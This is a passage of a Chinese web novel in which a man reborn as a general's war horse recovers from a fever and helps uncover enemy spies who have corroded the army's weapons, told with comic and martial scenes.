阿冬转头就去告诉马厩的守卫:“二位,还请你们速速去把秦老请来,也麻烦去禀告大将军一声,若是乌云撑不到明天早上,大将军见不到它最后一面,小的怕将军怪罪下来。”
“好,你等着,我们马上就去!”
两名守卫拉住了巡营的兄弟来值守,然后兵分两路,一人去找秦老,一人去禀霍霁风。
中军帐已熄了灯,帐内漆黑一片。
霍霁风板正地躺在床榻上。
黑夜中,他倏地睁开了双目,眼神炯炯,锐利异常。
而后是外头传来了脚步声,旋即是亲兵的声音穿透帐幕:“禀大将军,马厩守卫求见。”
“让他进来,”霍霁风坐起来。
士兵快速掀开帘帐:“大将军,乌云发烧,熬不过今晚!”
传达得精准过头了。
这一听,霍霁风心头一沉,好似魏常的大铁锤猛然砸在他胸口上,顾不
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上穿外衣,靴子一套就急匆匆往马厩而去。
大将军的脚步快,士兵得小跑才跟得上。
霍霁风前脚到,秦老后脚也来了,阿冬也打来了一桶凉水,擦拭着马儿的颈部、胸腹、四肢内侧,给宋铮做物理降温。
霍霁风拿过他手里的毛巾,亲自上手。
毛巾浸入凉水里,带起哗啦一声,接着拧干往宋铮身上擦。
阿冬协助秦老为马儿诊治。
一通忙活下来,霍霁风再次打湿毛巾,直接敷在宋铮的额头上。
宋铮顿感一阵惬意在身体里舒缓地荡漾开来,思维没有之前那么沉了,但仍不好受。他微微掀眼,只看见霍霁风忙乱中被打湿的中衣。
又听他急问:“秦老,乌云如何了?”
“看样子,是白天受到的惊吓还没有过去,热邪入心包,乱了心神了,”秦老边说边打开医药箱,“凉水散热起到的作用小,当务之急是给它放一放蹄头血,泻热开窍。”
放蹄头血就得去掉马掌,霍霁风当即命人取来起掌钳,要亲自操刀。
“秦老,哪两只蹄子?”
“它发热严重,呼吸急促,放两只前蹄的血,泻热效果更好。”
“好。”
霍霁风单膝落在干草上,阿冬与另外一名值夜班的马夫也赶紧帮忙。
虚弱的马儿更容易受惊,阿冬不停安慰:“乌云,我们现在是要救你,你可千万别挣扎,你要是乱蹬,会伤了马蹄,伤上加伤.....”
马夫小庄已经抬起了宋铮的一只前蹄:“它完全没有挣扎。”
阿冬:“..........”
知道他们是为自己做急救,宋铮自然不挣扎。
马蹄虚弱垂着,了无生气。
也挣扎不动。
“你们快点儿吧,”宋铮说话很吃力。
霍霁风扶稳了这只蹄子,开始卸马掌,这和剪指甲差不多,操作得当的情况下不会有痛觉,而操作之人动作娴熟,轻轻松松就把两只前蹄的马掌卸了。
接下来放血,就得交给秦老了,专业的人做专业的事。
秦老从箱子里取出放血针,用备好的烈酒消过毒,然后吩咐阿冬和小庄按住乌云,以防马儿刺痛时踢伤人。
阿冬与小庄齐齐扑在宋铮身上。
宋铮两眼一黑。
好沉。
霍霁风则固定住了宋铮的蹄子,他救马心切,对秦老道:“快开始吧。”
秦老点头:“给马蹄放血,是破釜沉舟的急救之法,看似简单实则得小心心细,出血如泉,其色变即可止,否则放血过多,反而是害了它。”
说话间,秦老已找准了马蹄上的下针穴位。
宋铮陡然发出高亢尖锐而又极其痛苦的嘶鸣:“咴儿——”
“咴儿咴儿——————”
“咴儿咴儿咴儿咴儿———————”
整个马厩里不管是在进食的还是站着睡觉的马,全部被宋铮的叫声吸引了目光,纷纷跟着叫起来,凌乱踢踏的马蹄声,叫声混杂在一起,使得整个马厩都乱糟糟的沸腾着。
霍霁风心疼至极,抚着宋铮额头安慰:“乌云莫怕,秦老还没有动手。”
宋铮:“............”
哦。
13.第 13 章
见过惨叫的马,没见过这么会惨叫的马。
秦老懵了会儿,看看左手抓着的马蹄,再看看自己持针的右手,我进针了吗??
“秦老,不用怀疑,您还没给乌云放血呢,”阿冬提醒。
霍霁风也道:“秦老,抓紧。”
“好好,”秦老找准了马蹄上的穴位,“给马蹄放血的手法有讲究,得快、准,做到急刺速退,才能让疼痛缩减到最小。”
宋铮叼住了霍霁风的衣服。
霍霁风正帮忙按住马蹄呢,感觉到身后拉扯,回头看,只见乌云的脑袋藏在他衣服后头,就像小孩儿怕疼一样。
心里莫名涌起一个想法。
真像人。
说话间,秦老手里的针已快速扎进了马蹄。
宋铮感觉到一瞬间的刺痛,但是能忍受,另一只前蹄也是一样,快速放血,待流出的血从暗红粘稠变为鲜红流畅,再有条不紊地包扎。
这招确实有奇效,宋铮的头脑又清明许多,全身都觉得舒畅了。
秦老收拾起药箱,同时叮嘱霍霁风:“大将军,乌云放完血,散了热了,但是身体还很虚弱,短时间内万万不可再让它冲锋陷阵,一定要好好修养。”
“明白,”霍霁风道,“再冲也是陷阵里,领教过了。”
宋铮:“............”
感觉受到了鄙视。
默默抿了抿嘴。
“后期的饮食也需多注意,要保证水源干净,喂的饲料得容易消化,阿冬,我交代你几点,你记下.....”秦老道。
“好嘞,”阿冬忙应。
霍霁风还不打算回去,依旧留在马厩。
宋铮歪在棉被上注视着他,见他蹲下来,莫名的心里安定,但前提要撇开让他上战场这件事。
一旁秦老交代了好了注意事项,又面向霍霁风说:“大将军,那老夫这就去给乌云煎药,它还需服用几副镇惊安神的药,方能治本。”
“有劳了,”霍霁风吩咐阿冬和小庄,“你们去帮忙。”
阿冬和小庄立即跟上秦老。
三人走了,马厩里没有安静下来,因为还有N多的马儿在叫唤。
它们都在安慰宋铮。
“老大,你看起来很虚弱,好像有点没用,但你一天不死,你一天都是我们老大,赶紧好起来吧。”
“老大,你几岁了?人类有个词叫老态龙钟,你是老了吗?”
“老大,你要死也应该死在战场上,而不是马厩,这是你以前说的!我们都不敢忘!”
“对,老大应该死在战场!”
“老大要死在战场上!”
......
好像安慰了,又好像没安慰。
宋铮使出力气,将脑袋顶在马厩的墙壁,借助墙壁折起耳朵:“你们安慰得很好,谢谢。”
“不客气老大。”
“老大,你比以前斯文了。”
马儿们又叽叽喳喳聊了会儿,渐渐平静下来。
霍霁风卷起袖子,重新拧毛巾帮他擦拭。
定朔关的天气还很炎热,晚上的风也带着白天的暑气,即便宋铮不发烧,用凉水擦身体也是舒爽的,他安静享受着。
心里想着小铃铛的事。
既然到了古代战场上,他是不是该竭力做点什么?
他有马的身体,人类的灵魂,与马与人都可以感同身受他们的处境,而这次上战场也让他切身认识到了,自己从来的那一刻就成为了他们的一员。
如果多用计,少发生正面冲突,那么边关的士兵们就能少牺牲一些,马厩里的战马也能大大降低丧命的风险。
半个时辰过去,阿冬回来了,手里捧着一只散发腾腾热气的大口碗。
“将军,小的按照秦老的交代,给乌云做了黄芪青草小米粥,可以补充水分,清解余热。”
宋铮昂起脑袋。
“小的将最嫩最新鲜的青草切成小段,用温水给它泡软了,然后再加入小米、黄芪和少量食盐一起熬,到小米熬成浓稠就成了,您闻闻,可香了。”
“办得不错,”霍霁风给予肯定。
“咴儿,”宋铮发出叫声,食物香气令他食欲大振,想吃。
霍霁风准备接碗。
阿冬往后退一步:“将军且慢,还不是时候,秦老熬的药汤也快好了,小的想着,汤药太苦,万一乌云不肯吃,我们就哄骗它喝一口药,吃一口小米粥。”
话音刚落,小庄来了,双手捧碗,微微躬身,脚下迈着极快的小碎步:“将军!秦老煮的汤药来了!”
早吃药早康复,他一刻不敢耽误,一路冲进宋铮的马厩内。
宋铮一嘴扎进药碗里。
虽体弱多病,但求生欲很强。
还想快点吃香喷喷的小米粥。
捧着小米粥的阿冬:“................”
自己好像又酸又菜又多余.......
做人时,宋铮吃过不少药,强身健体的西药,固本培元的中药,药吃多了,再苦也没感觉了。
喝完药后他慢慢享用小米粥,与刚才喝药相比判若两马,前者有些急切粗鲁,后者斯文优雅,并且不会让小米粥的汤汁沾到马嘴边缘的其他地方。
优雅得像贵公子。
这些小细节,都被霍霁风看在眼里。
霍霁风在宋铮看不见的盲区挑了挑眉,但见马儿吃得欢,有食欲,想来今天不会再有事,他也安心了。
一通折腾下来,阿冬和小庄各司其职去了。
霍霁风盘腿在干草上坐下,说起三个月前:“我为了驯服你,一天里有七八个时辰都与你待在一处,亲自给你喂粮,帮你刷洗,你要是真撒蹄子走了,定是我心中大痛....”
他不是忸怩之人,胸有块垒就要说出来。
宋铮默默听着,脑袋抵在霍霁风后腰处,柔软的耳朵在空气里抖了抖。
听着男人的自言自语,他睡着了。
这一觉睡到了天光破晓。
陪着他的人已经走了。
可是宋铮能嗅到干草上残留的余温,霍霁风才刚离开不久,应该就在几分钟前。
没一会儿,早起的阿冬过来了,换了些鲜嫩的苜蓿草之后又去给他做吃的,昨夜是黄芪青草小米粥,今天是淡竹叶水和麸皮草料糊。
竹叶水同样有
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清除体内剩余热毒的功效,还能促进新陈代谢,而麸皮草料糊是用麦麸、黑豆粉、胡萝卜和切碎的青草熬制,阿冬还加了些枣子,味道十分可口。
接下来的大半个月,宋铮的养病待遇都非常好,阿冬变着法的把他能吃的食物换着花样做出来。
他简直就是马中皇帝。
霍霁风也会天天过来,每天操练完了士兵便来到马厩。
这天,霍霁风真带来了一匹小母马。
母马的体型比宋铮小一些,通体雪白,毛发油亮,十分得漂亮,令马厩里的公马们都起了躁动,恨不得孔雀开屏。
然而,在宋铮还在惊愕中时,他就遭到了母马的嫌弃。
母马高高地昂着头颅:“你虽然很英俊,可是你弱不禁风,中看不中用,感觉被风一吹就会刮走,实在是抱歉,我不想成为寡马,你另寻良配吧。”
虽然但是....
如当头一棒!
这怕不是因为他摔了霍霁风,这厮故意找匹母马来打击报复他吧???
从这天以后,宋铮有四五天没搭理霍霁风,霍霁风给他刷背他躲开,喂他草料他不吃。
霍霁风也看出来了,生病是生病,娇气也是真娇气,马厩嫌脏了,跑几步就得歇了,动不动还不理人了 。
这还是他的马儿吗?是他祖宗吧?
“大将军!”曹卫面色急切,步子如风地冲进马厩,一到霍霁风面前就跪下了,抱拳颔首,“大将军,属下来告罪了!”
“你何罪之有?”霍霁风卷着袖子,弯腰在脚边的水桶里清洗刷子。
而后拿起挂在桶边的毛巾,在洗刷子的水里浸了浸,拧干后要给宋铮擦脸。
宋铮一看刷过背的水也不换换,直接要给他上脸,爱干净的他怎么愿意,霍霁风一抬手他就咬住了他手里的毛巾,一扯,脑袋一甩,毛巾从霍霁风手里抽出来。
啪!打在霍霁风脸上。
结结实实的。
曹卫要开口的话一顿。
霍霁风从脸上掀开毛巾,最近乌云有点脾气,他见怪不怪了:“快说。”
“是!”曹卫禀报,“方才属下带人清点兵器,发现有大批器械腐蚀,已经不能用了,边关少雨,气候又干燥,绝不是因为天气的缘故,属下只有一个猜测,那就是属下监管疏漏,混入了奸细!特向大将军告罪!”
宋铮也随之心头一紧。
兵器损毁是大事!
它们如同将士们的左膀右臂,手持兵器才能御敌,赤手空拳对敌人的金戈铁马无异于送死。
损失了多少?严不严重?直接关系到战役的输赢,将士们的性命。
霍霁风的眼里在陡然覆上骇人的阴霾,二话不说,大步离开了马厩。
“咴儿,”宋铮下意识发出叫声,哒哒哒地跟在了霍霁风身后。
他也要去看看。
“诶?诶!”在帮其他马儿换草料的阿冬见状傻眼。将军要去处理军中事务,乌云跟着去干什么?
他也小跑步追上去,“乌云!乌云你快回来!”
刚洗完澡,马鞍缰绳都还没装上,阿冬根本就牵不住他,等他回头去取缰绳,宋铮早跑远了。
14.第 14 章
一行人来到了军械库。
把手军械库的士兵一个个低垂着脑袋,羞愧于自己守卫不利,才导致了这场事故。
宋铮紧随在霍霁风身后,因为士兵们的羞愧,都忘记了要拦他。
军械库内,目之所及都是一排排木头打造的货架,每排货架之间间隔丈余,延伸至军械库的深处,要不是宋铮如今是马,视力远超人类,真是一眼都望不到底。
最外侧的货架上,整齐码放着成百上千的皮甲与铁甲。
皮甲用鞣制的牛皮制成,叠得方方正正,摞起来有半人高,铁甲则是玄铁与精钢混铸,每一套都用麻绳固定在货架上,从肩甲到腿甲一应俱全。
宋铮粗略估算了下,单是这一排货架上的甲胄,便足够装备一个百人队。
再往里面储存的便是兵器。
马槊如林般斜插在木槽里,丈二长的枪杆是上好的楠木,长刃裹着黑色的油布。
“将军,您看,”曹卫的神色凝重。
他一把揭掉油布,露出了长刃上的锈迹斑斑,接着从旁抽出另一把马槊,两把兵器相撞,空气里发出“咔嚓”一声响,两把马槊的长刃全断了。
连宋铮不由心惊,士兵们拿着这样的武器上战场,那是必死无疑。
霍霁风眯起了眼。
胸腔里升腾起平静表面下燎原的杀意。
拳头硬了!
曹卫道:“除了马槊,还有咱们的羽箭、长刀、三架床弩都出现不同程度的腐蚀,属下每隔七天就清点一次库存,每隔一月命人上护铁油,回回都是属下亲自监督,容不得底下人出差错,不可能这么短时间内出现大批兵器的损毁,除非....”
“除非是有奸细,”霍霁风走到其他货架前,“还不止一个。”
曹卫惭愧,噗通又跪了下去:“请大将军治属下监管不力之罪!”
“你的确是监管不力,但当务之急是封锁消息,免得乱我大澜军心,”霍霁风身体里的嗜血欲望蠢蠢欲动,恨不得单枪匹马冲进北梁的军营里直接斩下对方将领首级。
不过边关打仗不可逞一时之勇,定朔二十万大军的性命更系于上级的将领身上。
“是,属下一定让底下的士兵把嘴闭严了!”
曹卫即刻就把军械库的士兵全部集中起来,一个都不放过。
在曹卫对着士兵们训话时,宋铮随霍霁风研究起了被腐蚀的兵器。
上个月清点时没有发现兵器的问题,也就是说,事情发生在这个月,短短一个月内要让仔细保养并且定期上护铁油的兵器生锈,甚至生锈到不可用的程度,不是泼点水就能办到,必定要用到某种药水。
大批兵器生锈,就要用到大批的药水。
可是奸细再多,也不可能总随身揣着药水,很容易暴露。
那么大量的药水哪里来呢?
又怎么能神不知鬼不觉地制造出大量药水涂抹在兵器上?
霍霁风与宋铮想到了一处。
他从货架上抽出了一把长刀,锃亮的刀身上也有着被腐蚀的迹象,还有些干涸的透明物体,不知是何物.....
霍霁风喃喃出声。
宋铮观他表情就明白,一看就是没学好数理化,把大将军给难住了。
他凑近兵器,用强大的嗅觉嗅了嗅,闻到了刀刃上泡菜水与食醋等味道。
这就很好推理了。
为了储存食物,军营的伙房里有腌制泡菜是再正常不过了,尤其是腌制许久的老坛水,加入食醋后酸性极强,发酵出的醋酸浓度可达 3%-5%。
再者,军营医疗帐中的铁苋菜是非常常见的草药,量大管够,很容易取到,在醋酸水中加入捣碎的铁苋菜,再混入食盐,加入马尿和融化的小量桐油,就能搅拌成粘稠的液体,这时候药水的酸性浓度可达 8%-10%,粘性强,能牢牢附着在兵器上。
这样的法子虽简单,但可怕之处就是:原料取自日常,制作过程隐蔽,腐蚀效果自然。
超级适合奸细来干。
“咴儿咴儿,”宋铮着急告诉霍霁风。
霍霁风被两声“咴咴”拉回神,愣了愣:“你怎么在这儿?”
他到此时才发现马儿一直跟着他。
“我来帮你破案,”宋铮用脑袋顶了下货架,“兵器被毁,不是一两个奸细就能做到的,伙房、工匠营、医疗营、马厩....这些奸细组成了一个架构在暗箱操作,你要把所有奸细都揪出来,就要顺着药水制作这条线索去挖,否则就是治标不治本....”
“好乌云,不闹,”霍霁风道,“我有要务处理,回头再陪你。”
“你陪我不如不陪我,没点默契。”
宋铮凑到腐蚀的长刀边,做出“嗅”的动作,又用鼻子顶了顶。
霍霁风猜:“你要吃?”
对,泡菜水能吃,算是理解了一点。
“咴儿咴儿。”
“有你喜欢的味道?”霍霁风也凑近闻了会儿。
腐蚀处的味道很怪很杂,但其中最明显的是有股酸味儿。
接着宋铮哒哒哒往外跑。
曹卫还没训完话,军械库的士兵各个立得笔挺,也全都在这儿了。
宋铮走过来,绕着他们嗅来嗅去,突然就叼住了一名士兵的衣领。士兵被他拽了个踉跄,回头低喝:“你干什么!”
其他人也纷纷把目光投向宋铮。
宋铮没有撒嘴,使劲儿想把士兵撂倒,士兵也不是吃素的,薅住了自己衣服就是不倒地。
“参军,乌云是不是发疯了,它咬我做什么?!”
大将军的专属坐骑谁敢伤?士兵只能向曹卫求救,曹卫还没开口,霍霁风过来了:“住手!”
也不知道是训马还是训士兵。
但宋铮住不了手。
因为没有,只有蹄子。
倒是士兵一松手,他总算是把人拖拽倒了。
士兵是脸朝下,趴着倒在地上,但其实这一下摔得并不疼,摔跤对于打仗的人来说不痛不痒,痛的是怀里坚硬的东西咯到了胸口,那才是结结实实的钝痛。
“咳、咳咳.....”士兵揉着胸口从地上爬起来,面朝霍霁风,低眉颔首,“大将军,乌云方才突然对属下发狂,属下不知其原因。”
宋铮没再动作,只打了两个响鼻,然后躺下来了。
气喘吁吁。
士兵们:“........”
曹卫:“........”
到底是马撂倒了人,还是人撂倒了马?很难评。
霍霁风:习惯了。
看着马儿累坏的样子,霍霁风在心里又郁闷了一下,稍稍发个狂还把自己累着了,越来越娇了。
不过他信乌云聪慧有灵性,不会无缘无故
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发狂。
眼神如利刃,钉在面前的士兵身上,闻到了对方身上散发出的淡淡酸味。
霍霁风下令:“来人,搜他身!”
士兵们很是费解,但大将军下令,无人敢有异议。曹卫亲自动手,从这名士兵的衣服里搜出了一些碎片,他蹲下身闻:“酸的,怎么这么像伙房的酸菜?”
霍霁风一眼明了,此人就是奸细之一。
假若没有乌云将此人撂倒,也不会让他磕碎了怀里的瓶子,那么里面的酸味就不会散发出来。
曹卫话音刚落,这名冒牌大澜兵便口吐乌血,隐忍着剧痛倒了下去。
一命呜呼。
曹卫一惊:“是死士!”
霍霁风将尸体翻转过来,拽下领子,尸体的肩膀处有洛铁烫出来的“囚”字:“是赵阔的死士,北梁的权贵喜欢培养死士,尤其喜欢从死刑犯里挑人,训练成没有感情唯命是从的杀人利器,赵阔尤胜。”
曹卫咬牙切齿:“此人果然毒辣!”
霍霁风当机立断,命陆十九调来一队亲兵,配合曹卫一一搜查军械库的士兵。
碎裂的瓷片还沾有腐蚀性液体,送至中军帐,请来王秀兰、高崇山,以及军营的军医来辨别里面的成分,从材料里分析有可能接触过的士兵,从而挖掘其他死士。
除此外,霍霁风还要派人带着他亲自书写的檄文快马加鞭去调配新的兵器。
更要重新部署军营的布放,以防北梁趁机再来偷袭。
中军帐议事的人员进进出出,霍霁风从得知兵器被腐蚀到各种议事、安排、下令,就没有空下来过。
营帐外的天都黑了,帐内点了灯。
宋铮也在账内。
他寸步不离,跟随着霍霁风从军械库来到中军帐,来了他就寻了个角落躺下,以此来缩小自己的存在感。
帐篷的空间比他的马厩大,空气十分良好,地上干净没有杂物,他很喜欢。
而高崇山他们商量军中事务要紧,哪里顾得上是不是有匹马在。
帐帘又一次掀了起来。
进来的人是林六,端来了大将军的晚饭,有两张麦饼,表面刷了一层胡麻油,闻着特别香,还有一碗粟米饭,一碗萝卜炖羊肉。
可把宋铮馋坏了!
阿冬给他做的吃食是很精细,可都是素的,马能受得了,他人类的灵魂受不了。
林六见帐里有马在,感到有些惊奇,一想将军都没说什么,他怎么能把乌云赶出去,于是放下晚饭就走。
宋铮挪到了案几旁。
嗅来嗅去。
马的牙齿、胃、肠胃...一整套消化系统都是以植物为食,不能吃肉,这点宋铮是清楚,但舔两口不为过吧?
趁着没人注意这边,他吧滋吧滋舔起来。
可是就那么那么巧,挡住霍霁风视线的高崇山刚好走开一步,指着沙盘某处:“将军,您看这处,地势低矮,又连着密林,恰是易守难攻,如果北梁发难,说不定就会埋伏在此处.....”
可霍霁风看不了一点,他只看见从来不会对肉类产生兴趣的乌云在舔羊肉。
?!
马吃不了肉,他心头一急,正要过去,只见乌云把从碗里舔出来的羊肉含进嘴里,紧接着就吐了回去。
然后装作没有舔过的样子。
霍霁风:“.........”
15.第 15 章
宋铮舔肉末舔得很专注,压根没注意到自己被发现了,他甚至还在想:早知道把肉嚼一嚼再吐回去。
当然,这样太对不起霍疾风了。
幸好没有这样做,对方也没有发现,待会儿吃饭应该也不会觉察出来吧。
“将军,方才说的计划您觉得怎么样?”就在宋铮要看向霍霁风时,高崇山恰好回到原来位置,“我军早些做好埋伏,一来作为防御,二来,若北梁军偷袭也能杀他个措手不及。”
身后的宋铮,收回视线。
嗯,放心了,确定霍霁风没看到。
霍霁风压下心里对“乌云竟然会偷偷舔羊肉,舔了羊肉还敢丢回去当作无事发生”的震惊,对高崇山道:“甚好。”
高崇山点点头,“那就辛苦夏副将安排下去。”
“军师放心,我这就是去办,”夏戎大步了出了营帐。
....
根据腐蚀性药水的制作原材料,这些奸细死士分布在不同营帐中,要揪出来绝非易事,但也谈不上难如登天,军营中有许多辨别奸细的法子,是上层官员知道而底下士兵不清楚的。
在霍霁风与高崇山等人议事刚刚结束,曹卫与陆十九就把十七名奸细提了过来,包括先前那位二话不说就咬破口中毒药自尽的,也有嘴硬抵死不认的。
霍霁风一掀帘出去。
宋铮静静地待在营帐里,这回不跟了。
出去了也是看血腥场面,他可不想自己刚恢复不久再大病一场。
帐外传来士兵大声喊冤。
“大将军,小的入军营三年了,一直是伙房里煮饭的,试问哪个吃饭的士兵不认识小的,小的怎么可能是奸细!”
宋铮虽然不想看,但耳朵竖得高高的。
霍霁风多的话不说,叫人盛来一碗混着糠壳和砂粒的生糙米,只问:“如何分?”
士兵知道有陷阱,但也不得不开口:“军营里的粮食珍贵,糙米自然是要煮了食用的,得把糠壳与砂粒都挑出去。”
他把糠壳和砂粒全部挑进一个盆里。
陆十九已抽出长刀:“前年年景差,军粮掺了河砂,伙房老规矩,砂粒倒右边盆,留着冬天垫马厩防滑,糠壳倒左边,能和草料掺着喂马,你若真煮了三年饭,会连老伙夫传下来的规矩都不清楚?”
“其二,伙房的二狗是跛脚,但我捉你的时候,你坡错了。”
再不容士兵分说,霍霁风下令:“杀。”
月光下,银辉一闪,奸细已人头落地血溅三尺。
曹卫捡起奸细的人头在他脸上摸来摸去:“二狗虽是跛子,打不了仗,不过做的饭是真好吃,我说怎么最近厨艺变差了,诶?没有人皮面具?”
高崇山从旁拔了根火把,照着人头侧脸端详:“不是没有人皮面具,而是他把二狗的脸皮焊死在了自己的脸上,你们看这儿。”
奸细的耳后有道极细的纹路,是脸皮边缘,不细看很难发觉。
王秀兰也加入了探讨行列:“我听闻北梁皇帝有一位宠爱了多年的貌美妃子,年过半百,却保养得如刚及笄的闺阁女子一般,卑职料想,这人皮保养之术一定是用了此等秘法。”
曹卫:“有道理。”
其余奸细已不抱任何能苟活的希望,纷纷自尽。
剩最后一人,挺直了腰杆跪着,负隅顽抗。
霍霁风居高临下睥睨:“你还有话要狡辩?”
死士摇头:“我自尽的毒药被你们夺了。”
霍霁风:“既如此,本将军就送你一程。”
嘭!
宋铮听见了最后一名奸细倒地的声音。
接着是夏戎来汇报,该安排的布防都安排好了。陆十九则指挥人把尸体都抬下去,因为奸细的脸皮都是他们大澜的士兵,还得剥下来物归原主。
渐渐的,外头动静小了。
霍霁风回到帐内。
“将军,末将....”夏戎跟进来,一眼就发觉到了宋铮这团马,“乌云怎么在这儿?”
霍霁风:“你才发现?它可在帐中待了有三个多时辰了。”
宋铮多看了眼霍霁风。
“你刚才要汇报什么?”霍霁风坐到案几之后,看着自己晚餐,不着急动筷。
“哦,对,”夏戎从怀里摸出一张纸,“末将在林子里发现了可疑脚印,就拓印下来了,北梁军穿的是皮靴,鞋底有铁钉防滑,印子该是方方正正的,但这只脚印是草鞋纹路,编得粗劣,倒像是那些山匪。”
说着,夏戎看了眼胡萝卜炖羊肉。
都这么晚了,大将军怎么连晚饭还没吃?
再不吃可凉透了。
霍霁风双手搭着膝盖,盘腿而坐:“倒也不奇怪,两国交战一年有余,边关的不少商道都断了,山匪又靠劫商过活,如今没了商队,填不饱肚子,脑筋自然要动到别的地方,但是敢打军营的主意,胆子够大,你多加防范。”
“是!”
汇报完了,夏戎就要走。
霍霁风叫住他:“等等。”
“将军还有事吩咐?”
“你饿不饿?”霍霁风问。
夏戎二丈和尚摸不着头脑,却又看了眼羊肉:“不饿啊,不过将军要是吃不下,末将愿意代劳。”
“正好,我没什么胃口,这碗羊肉给你了,”霍霁风只拿起那两张麦饼。
宋铮:“............”
“真的啊?”夏戎受宠若惊,一想大将军向来体恤下属,城内百姓送来的鸡蛋瓜果也总是分给他们,不疑有他,当即坐下来大口吃肉,“唔,好吃!肉质肥美还没有膻腥气,将军您不吃可惜了。”
“粮食太珍贵,不可浪费。”
“明白。”
宋铮动了,两只前蹄用力往前一撑,支起上半身,再后腿发力站了起来。
默默走出中军帐。
霍霁风睨向他,宋铮快走两步,溜了溜了。
就着一碗粟米饭,羊肉很快见了底,只剩下一点汤渣,夏戎心满意足:“将军,末将记得今晚是萝卜炖羊肉,您碗里的萝卜呢?”
霍霁风也吃完了两张麦饼,道:“萝卜被乌云挑走了吧。”
夏戎:“?”
阿冬早在帐外候着,他不好屡次进来打扰大将军,只能默默等宋铮自己出来,见了宋铮,快速给他套上牵马绳。
一人一马走出还没多远,中军帐里冲出一
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人,弯腰对着地面就干呕:“yue——”
阿冬回头,不明所以:“夏将军怎么了?”
宋铮稍一偏头就能看到后头的情景:“他被亲爱的大将军当日本人整了。”
罪魁祸首毫无愧疚的发言。
“乌云!!!!”
夏戎怒发冲冠:“都是你干的好事,你是始作俑者,有本事你别动!你别跑!!!”
宋铮叼走阿冬手里的牵马绳,哒哒哒....以两点一线为最短距离,自己回了马厩。
阿冬:“.........”
这是乌云变娇气以来最懂事的一次了。
*
经过一段时间的精心喂养和调理,宋铮因受惊过度导致的症状已消除,但他上阵打仗的表现欠佳,几次与北梁军发生摩擦,霍霁风都没有把他拉出去。
因此宋铮悠哉了好一阵,又因经常尾随霍霁风在军营里奔西走东,自由度也增加了不少。
驻守岗位的,巡逻的,操练的,士兵见到溜溜达达闲逛的马儿都见怪不怪了。
趁着霍霁风去练兵了,宋铮又来到中军帐前,他已经数次单独出入中军帐,且没有损毁任何物品,两名营帐的守卫不会再拦他。
昨天他看了些书籍,了解了两国交战方面的细节,今天还想多看看。
正要进去。
一只手拍在了他马屁股上:“乌云。”
宋铮一僵,喊他就喊他,干嘛动手动脚,他下意识尥蹶子。
霍霁风娴熟躲过,走到宋铮的视线范围内:“我正找你,我命工匠营给你打了副新的马掌,这就带你去试试,走吧。”
“你不是在练兵吗?”宋铮还能听到校场传来的齐整的呼和声。
“这是在说高兴?”霍霁风牵起绳子。
宋铮不得不跟他走。
到了工匠营,霍霁风将他栓在一根粗木桩子上,亲自替他修蹄子。
战马的马掌一到两个月需要换一次,冲锋频繁时半个月就得换。
钉掌前,要先修蹄,削去马蹄外层老化或参差不齐的角质层,再用蹄锉将蹄面磨平,保证蹄面平整。掌工还得熟悉马蹄的结构,以免钉掌时扎进蹄肉。
这活儿看似简单,实则处处有考究的细节。
宋铮一开始还有些担心,怕霍霁风打仗行,这些活儿不在行,万一钉得不好,不仅损伤马蹄还会影响他日常奔跑。
可观察下来,霍霁风修蹄钉掌动作熟练,有条不紊,连老掌工都夸他手艺好。
宋铮试了试钉好的一只蹄子,踩在地上很稳当,没有痛觉,也很舒适。
不错。
看着埋头给他修另一只蹄子的男人,不禁心口微微发热,感动。
霍霁风却是面露平静:“熟能生巧罢了,与我并肩作战的马,都是我亲自修蹄钉掌,做得多了也就会了,它们为我出生入死,这点小事,不足挂齿。”
瞬间,宋铮的心拔凉拔凉。
有种被宣告死期将近的感觉。
“乌云,”霍霁风又道,“从明日开始,我亲自来训练你,一定让你比从前更强,更快。”
宋铮又有些眼晕。
一点也不敢动了。
16.第 16 章
翌日。
霍霁风把操练士兵的事交给夏戎与陆十九,天刚蒙蒙亮就来到了马厩。
宋铮窝在马厩的棉被上,两只后蹄侧摊着,两只前蹄揣在胸口,瞳孔黑漆漆,亮晶晶,看了看霍霁风与阿冬的脸后,悠哉哉重新把脑袋搁回棉被上,还打了个哈欠。
打完哈欠,懒洋洋哼哧两下喷气。
继续睡觉。
他压根就不是当战马的料,不是他不能听指挥,是身体太弱没法配合霍霁风。
阿冬汗如雨下:“大将军,乌云从昨晚开始,就十分惫懒,他好几次给他添草料,他都是起来吃完了就睡,连站着打盹儿都不愿意了,我又请秦老来检查了一次,确认它先前的惊症都好了,它就是...就是懒。”
懒得阿冬都不好意思说。
“不是我懒,你们训练我,我也达不到上战场该有的体力,是白费功夫,”宋铮不得不辩解两句,嘴里“咴咴”着。
这段时间成了马,照道理身体不该这么弱,但他仍旧是以前的状态,所以他笃定,他的“弱”不是出在身体上,而是灵魂。
霍霁风倒也没想一蹴而就:“我先带它出去放放风,慢慢来,溜达两圈来劲儿了就好了。”
“欸,”阿冬打开马厩的门,拉着绳子让宋铮起来,“乌云,大将军带你去放风了,你平常不是最爱出去溜达吗,快起来.....”
宋铮不为所动。
所谓一失足成千古恨,这会儿他起来了,后面就有数不尽的训练等着他。
不起。
打死他都不起来。
“我来,”霍霁风亲自上手,接过阿冬手里的绳子,他先是观察了一番,视线落在宋铮身下的被子上,“你能天天舒坦躺着的被子是我的,我若想收回,便是一句话的事,你的被子还脏了,你那么爱干净,要是不起来,也休想阿冬以后给你洗被子.....”
阿冬点头:“对对对..... ”
“........”宋铮默默蠕动着嘴巴,这是把威胁给用上了。
除了威逼,还有利诱。
霍霁风从怀里掏出两块豆糕:“想吃吗?”
比起直接煮熟了豆子加点盐巴,豆糕可谓美味佳肴,马鼻子的强大嗅觉把香气尽数吸收入鼻腔中。
呵。
“亿点也不想吃。”
宋铮站了起来。
霍霁风借机拉着他往外走,手里的豆糕就是不让宋铮吃到,等宋铮回神,他已经被牵出了马厩。
可恶。
宋铮慢吞吞地跟随霍霁风。
军营的西南面有一片草地,是军马们固定放风的地方,宋铮不是第一次来,每隔一段时间,阿冬与其他马夫都会赶着他们来草地上散步。
今天阿冬也跟着,默默地走在末尾。
其他马匹也陆陆续续来到草地上,阿白与阿红如脱缰的野马,马夫一撒手它们已在草地上飞驰狂奔。
“太好来,又出来了,我有种原地复活的感觉!”
“老大,来啊~快活啊~~”
阿白与阿红从他身边飞过。
宋铮无言。
不知道的还以为你们也是穿越马。
“去吧乌云,去跑几圈!”霍霁风一拍马屁股,掷地有声。
“啾 ——”宋铮发出声音,尾音微微上扬,透着雀跃。
